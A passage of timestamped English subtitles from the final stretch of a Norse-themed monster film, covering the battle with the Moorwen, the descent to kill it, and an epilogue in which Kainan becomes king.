01:13:50.002 --> 01:13:51.230
That's what I thought.

01:14:57.002 --> 01:14:58.162
Hold this.

01:15:20.158 --> 01:15:21.284
Gods above...

01:15:35.874 --> 01:15:37.671
Wait for my order!

01:16:03.435 --> 01:16:05.130
What's your damn priest doing?

01:16:32.497 --> 01:16:35.330
I command thee, Lucifer,

01:16:35.467 --> 01:16:37.162
quit this place!

01:17:03.161 --> 01:17:04.458
Ready!

01:17:21.113 --> 01:17:22.011
Wulfric!

01:17:23.849 --> 01:17:25.043
Hold your fire!

01:17:26.985 --> 01:17:27.417
Shoot!

01:17:27.552 --> 01:17:28.211
Take my hand!

01:17:28.353 --> 01:17:28.910
Shoot!

01:17:29.054 --> 01:17:31.454
Hold!
Take it now!

01:17:35.060 --> 01:17:36.220
Fire!

01:17:48.240 --> 01:17:50.265
By the gods!

01:18:23.608 --> 01:18:24.575
Freya?

01:18:28.380 --> 01:18:29.312
Freya!

01:18:30.682 --> 01:18:31.808
Freya!

01:19:37.749 --> 01:19:39.148
Moorwen!

01:20:08.146 --> 01:20:09.113
Kainan

01:20:10.015 --> 01:20:11.141
There's another one!

01:21:28.193 --> 01:21:29.353
Kainan!

01:21:31.596 --> 01:21:32.790
everyone's leaving.

01:21:38.770 --> 01:21:42.365
Eric, it's not safe here anymore.

01:21:42.941 --> 01:21:44.909
Everyone's going to the boats.

01:21:45.643 --> 01:21:47.201
You need to go, too.

01:21:47.545 --> 01:21:49.536
But, I want to stay here with you.

01:21:50.782 --> 01:21:52.443
You'll come back soon.

01:21:52.650 --> 01:21:54.015
Everyone will.

01:21:54.352 --> 01:21:55.717
You promise?

01:22:03.828 --> 01:22:05.022
I promise.

01:22:42.434 --> 01:22:43.867
Your boots, do you want them back?

01:22:45.303 --> 01:22:48.466
No. They're his now.

01:22:50.975 --> 01:22:52.101
What are you going to do?

01:22:53.078 --> 01:22:54.306
You're king now.

01:22:56.548 --> 01:22:57.913
King of what? This?

01:22:59.184 --> 01:23:02.210
This... and them...

01:23:04.255 --> 01:23:06.052
Whatever Herot becomes tomorrow...

01:23:06.624 --> 01:23:08.649
will be because of
what you do right now.

01:23:11.296 --> 01:23:12.820
Let's go kill this thing...

01:23:15.967 --> 01:23:17.264
...together.

01:23:42.127 --> 01:23:43.321
You're daft!

01:23:43.461 --> 01:23:45.429
We're not going down there.

01:23:45.563 --> 01:23:47.121
That's where it came from.

01:23:47.265 --> 01:23:48.630
That's where we're going.

01:23:49.067 --> 01:23:51.092
But we don't know how to kill it yet.

01:23:51.236 --> 01:23:52.294
We need better weapons.

01:23:52.437 --> 01:23:55.463
No. We need better metal.

01:23:56.307 --> 01:23:58.207
Boromir, get the forge ready.

01:23:58.676 --> 01:24:02.271
Unferth, Olaf, get the torches
and the ropes.

01:24:02.747 --> 01:24:03.805
Let's go.

01:24:04.883 --> 01:24:06.316
I'm coming with you.

01:24:09.654 --> 01:24:10.916
No you're not.

01:24:12.090 --> 01:24:15.787
That thing killed my father and
destroyed my home.

01:24:15.927 --> 01:24:17.417
I'm coming with you.

01:24:25.336 --> 01:24:26.928
This is where your ship went down?

01:24:27.372 --> 01:24:28.839
That's right.

01:24:34.979 --> 01:24:36.276
In a lake?

01:24:40.652 --> 01:24:41.550
Don't ask.

01:25:38.977 --> 01:25:39.944
Kainan?

01:26:10.775 --> 01:26:11.935
Freya?

01:26:12.844 --> 01:26:14.277
Freya?

01:26:20.752 --> 01:26:21.844
Where's Freya?

01:26:22.553 --> 01:26:24.282
Just get the metal and make the swords!

01:26:28.693 --> 01:26:29.751
Damn.

01:26:40.238 --> 01:26:41.762
What kind of metal is this?

01:26:57.588 --> 01:26:59.055
King's sword again.

01:27:29.487 --> 01:27:32.115
You're...
I know. Daft.

01:29:01.078 --> 01:29:02.067
Let's go.

01:31:31.896 --> 01:31:33.193
Where's it coming from?

01:31:37.368 --> 01:31:38.767
It's beneath us.

01:32:05.129 --> 01:32:06.187
God.

01:32:07.231 --> 01:32:08.528
I slipped.

01:32:26.083 --> 01:32:27.209
Let's keep moving.

01:32:37.294 --> 01:32:38.693
Ain't nothing down there.

01:32:48.005 --> 01:32:49.905
Unferth!
Wulfric!

01:32:55.179 --> 01:32:56.476
Can you see anything?

01:32:58.049 --> 01:32:58.947
Over here!

01:34:26.804 --> 01:34:27.793
Boromir!

01:34:53.597 --> 01:34:55.758
We'll drink together again, Kainan.

01:34:58.569 --> 01:34:59.831
Herot mead.

01:35:02.640 --> 01:35:04.039
Best in the world.

01:35:19.356 --> 01:35:21.290
No!

01:35:23.594 --> 01:35:25.118
Kainan!

01:35:26.030 --> 01:35:28.590
Freya! Freya...!

01:35:29.667 --> 01:35:32.033
Kainan!

01:35:36.774 --> 01:35:37.934
That way!

01:35:38.909 --> 01:35:41.309
Freya!

01:35:42.880 --> 01:35:43.938
I'm here.

01:36:27.024 --> 01:36:29.652
Freya, Freya.

01:36:38.936 --> 01:36:40.028
Freya!

01:36:47.978 --> 01:36:49.673
Freya. Squeeze through!

01:36:50.781 --> 01:36:51.338
Squeeze through!

01:36:51.482 --> 01:36:52.642
Too tight.

01:36:53.684 --> 01:36:55.311
Take it!

01:37:14.705 --> 01:37:18.300
Freya, calm down, calm down.

01:37:24.248 --> 01:37:26.113
By all the gods.

01:37:50.741 --> 01:37:51.708
Move!

01:38:24.408 --> 01:38:25.534
Over there!

01:38:40.090 --> 01:38:41.455
Get her out of here!

01:38:48.432 --> 01:38:49.524
Come on!

01:39:00.310 --> 01:39:01.402
Swing me!

01:39:26.703 --> 01:39:27.727
Wulfric!

01:43:23.774 --> 01:43:25.036
Is it dead?

01:43:27.744 --> 01:43:28.802
Yes.

01:43:39.690 --> 01:43:42.989
I wanted this for so long.

01:43:47.631 --> 01:43:49.656
At least I got to wear it for a day.

01:43:54.604 --> 01:43:56.970
I hope you wear it for
longer than I did.

01:44:00.243 --> 01:44:01.835
We could have been friends.

01:44:02.579 --> 01:44:04.240
We are friends.

01:44:49.393 --> 01:44:51.258
Eric.

01:44:51.528 --> 01:44:52.517
Up here!

01:44:53.263 --> 01:44:54.730
Up here!

01:44:55.899 --> 01:44:56.866
Up here!

01:44:57.000 --> 01:44:58.467
Up here!

01:45:14.751 --> 01:45:16.116
You wait here for the others.

01:45:17.654 --> 01:45:19.212
I've got something to do.

01:45:21.191 --> 01:45:22.852
You're not coming back, are you?

01:49:28.872 --> 01:49:31.432
In the year of Four Kings,

01:49:31.808 --> 01:49:35.574
Rothgar and Wulfric were laid to rest.

01:49:36.012 --> 01:49:38.810
Heroes in the war against the Moorwens.

01:49:54.264 --> 01:49:59.031
And Kainan, once a stranger to us...

01:49:59.569 --> 01:50:01.196
...became king.

01:50:03.740 --> 01:50:06.868
He took for himself a wife... and a boy,

01:50:07.010 --> 01:50:09.376
who became as his own son.

01:50:44.981 --> 01:50:47.211
But only I knew his secret.

01:50:48.952 --> 01:50:51.318
That the gods had sent us Kainan.

01:50:54.124 --> 01:50:56.649
And when it came time
to return to them...

01:50:58.728 --> 01:51:02.323
...he chose to stay with us instead.

ZeroDay Forums Mini